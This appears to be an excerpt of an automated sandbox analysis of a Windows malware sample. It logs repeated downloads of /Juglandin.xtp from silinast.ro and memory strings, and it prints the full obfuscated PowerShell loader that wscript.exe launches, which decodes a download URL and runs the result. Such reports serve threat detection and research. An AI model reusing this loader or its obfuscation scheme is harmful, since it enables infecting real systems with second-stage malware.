Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive

Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: silinast.roConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: 6777.6777.6777.677e
Source: global traffic	DNS traffic detected: DNS query: silinast.ro

Source: powershell.exe, 00000005.00000002.4640956886.0000015D901B4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4640956886.0000015D90071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000005.00000002.4613344132.0000015D80229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000005.00000002.4613344132.0000015D80001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000005.00000002.4613344132.0000015D81CC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://silinast.ro
Source: powershell.exe, 00000005.00000002.4613344132.0000015D8166A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D81131000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D81928000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D81BA5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D815C4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D81D6B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D81205000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D813E7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D81593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D8188B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D813A5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D80FCB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D81308000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D817EF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D81486000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D80DE0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D8195E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D81C0A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D819FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D80D62000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4613344132.0000015D81A97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://silinast.ro(
Source: powershell.exe, 00000005.00000002.4613344132.0000015D80229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://silinast.ro/Juglandin.xtpP
Source: powershell.exe, 00000005.00000002.4613344132.0000015D80229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000005.00000002.4613344132.0000015D80001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000005.00000002.4640956886.0000015D90071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000005.00000002.4640956886.0000015D90071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000005.00000002.4640956886.0000015D90071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000005.00000002.4613344132.0000015D80229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000005.00000002.4640956886.0000015D901B4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4640956886.0000015D90071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c ping 6777.6777.6777.677e
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Semicellulous Sasia Afblsningers fortification Ungarbejderens #>;$Jestenenes='sollegeme';<#Perspiration Widish Redobles Foresprgerens Snobbisme #>;$Bromatologiens=$Lorelei128+$host.'PrivateData';If ($Bromatologiens) {$Boutonnieres++;}function Citationstegnet($Praepuce){$Firewarden117=$udnyttedes+$Praepuce.Length-$Boutonnieres; for( $Udfladningerne1=7;$Udfladningerne1 -lt $Firewarden117;$Udfladningerne1+=8){$Beritt='Affaldsbortskaffelsesomraaderne';$fumitories+=$Praepuce[$Udfladningerne1];$Exsectile='Impieties';}$fumitories;}function Humiria($Skdefrakkernes){ . ($Kaste) ($Skdefrakkernes);}$Udfladningerne1vyberry=Citationstegnet 'ChienfoMWingle o FrkapszSkyttesiNonshatl Vab erlNonch maKrydr s/ Cons q5 Coni i. Ophiur0Udebliv modpart(MilepleWSti lehiTak artnReirrigdUfrihedojubilizw angforsAtletis NedslagNBedrageT Defade Kuponen1Teredos0,budent.Cybercu0Matinmx;Maskinm GrskkatW UdspiniBoiler nLongw y6Mayos,v4 Anthro;S eavep Tras.expar tid6Tabanu 4Frifind;Hushold lseligrRke ispvabashle: N napp1 Pererr2 efleks1 Neutra.Recons 0H lvled) Compos esuetuG Bortf eO.gngelcSoricidkVolcanooZonesys/Glosser2Forvold0Turloug1Melleml0 nie,zs0G,lvano1F lthro0 Ristni1Landbru Lommer,FSkalkesi Sel,plrTorskeneHydrofofKonditoosiderocx kledis/Hjemt,g1 Ca,lal2 Tikkes1Nor ann.Ind atn0Ordrere ';$Aprilsnars190=Citationstegnet 'PropounUDyb rysS KongebE lozengrin issu-A,kelleaKoncis gBusfor eViewyyaN HercogTLrerudd ';$Maalestationernes=Citationstegnet 'RbdigsthPhilomatArseniutKaolinapVrdido :.wfulle/.rocaic/PuppetlsJacalsii F,rulylHepht eiMaaleren epersoau,creatsLicentitConnuan.KontrrernontyphoPondero/ UnguicJ,ongfeluDyrtidsgAfgrelslThro,doa niformn charondPrefectiTv,ngsinEksdik..Kin.redxType odtkristanpInd ull ';$Terroristens=Citationstegnet 'eft rml>Deseca ';$Kaste=Citationstegnet 'U derviicephaloeLaiciziX Perfor ';$Halibuts='Layland';$Darlenes='\Kassestrimmelens.Aft';Humiria (Citationstegnet 'Heft,gt$SkridtbGCrotonil KrystaOAbstracBpurdasiAUdsor el N,nges:Udsag kA .anthodRefas,emUncharii SuppleNPostsaci ewspapsGenvlgetD,ekcyaRNonunciA Hulds T IlliciiKvittero MorfinNEpilogisPreentepDrun,enrCus ekdOTvetandGtrkgardrLitera ABeijingM ic.orsmAlarmereSthammerInd fry=Undersk$Sur,useeSeweragNMllerenVTa kats:UndightACentralpdristerPF cellid StorstAEgomanit Sku spAMe,meri+ Pander$LinguovDKlvandkaBelliferGinglymLCumsha,EAlmennyN VarmlueBrugsmsSAnorect ');Humiria (Citationstegnet 'Viziera$AdemonigPr teifLArbejdeoVan fribMixologaAfkodnilUnderme:RegnefuUaksiomaPIncongeS Fo beheScorevatHypos rTEncr,ptaKonversl Opmarc=Economb$TrimolemOpstaada VegetaaUvrdigtlEnsurege Vo dgiS EngberT redsaAImp,ritT ArvelsiPekingeO Inthron andsynEDemoniaRAffaldsNSympatiEOverlegsFastlaa.H.vregrSSandslopBestriplMisogynimycelietoverjoy(Hagge,e$ Af,tantUnarcheeSilikatrB sgader,hasiluoFremholRDgn.rveIMiscoloS.pildolTPo letreIsocampN SubsidsBlodser)Strepto ');Humiria (Citationstegnet 'Contral
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c ping 6777.6777.6777.677e	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Semicellulous Sasia Afblsningers fortification Ungarbejderens #>;$Jestenenes='sollegeme';<#Perspiration Widish Redobles Foresprgerens Snobbisme #>;$Bromatologiens=$Lorelei128+$host.'PrivateData';If ($Bromatologiens) {$Boutonnieres++;}function Citationstegnet($Praepuce){$Firewarden117=$udnyttedes+$Praepuce.Length-$Boutonnieres; for( $Udfladningerne1=7;$Udfladningerne1 -lt $Firewarden117;$Udfladningerne1+=8){$Beritt='Affaldsbortskaffelsesomraaderne';$fumitories+=$Praepuce[$Udfladningerne1];$Exsectile='Impieties';}$fumitories;}function Humiria($Skdefrakkernes){ . ($Kaste) ($Skdefrakkernes);}$Udfladningerne1vyberry=Citationstegnet 'ChienfoMWingle o FrkapszSkyttesiNonshatl Vab erlNonch maKrydr s/ Cons q5 Coni i. Ophiur0Udebliv modpart(MilepleWSti lehiTak artnReirrigdUfrihedojubilizw angforsAtletis NedslagNBedrageT Defade Kuponen1Teredos0,budent.Cybercu0Matinmx;Maskinm GrskkatW UdspiniBoiler nLongw y6Mayos,v4 Anthro;S eavep Tras.expar tid6Tabanu 4Frifind;Hushold lseligrRke ispvabashle: N napp1 Pererr2 efleks1 Neutra.Recons 0H lvled) Compos esuetuG Bortf eO.gngelcSoricidkVolcanooZonesys/Glosser2Forvold0Turloug1Melleml0 nie,zs0G,lvano1F lthro0 Ristni1Landbru Lommer,FSkalkesi Sel,plrTorskeneHydrofofKonditoosiderocx kledis/Hjemt,g1 Ca,lal2 Tikkes1Nor ann.Ind atn0Ordrere ';$Aprilsnars190=Citationstegnet 'PropounUDyb rysS KongebE lozengrin issu-A,kelleaKoncis gBusfor eViewyyaN HercogTLrerudd ';$Maalestationernes=Citationstegnet 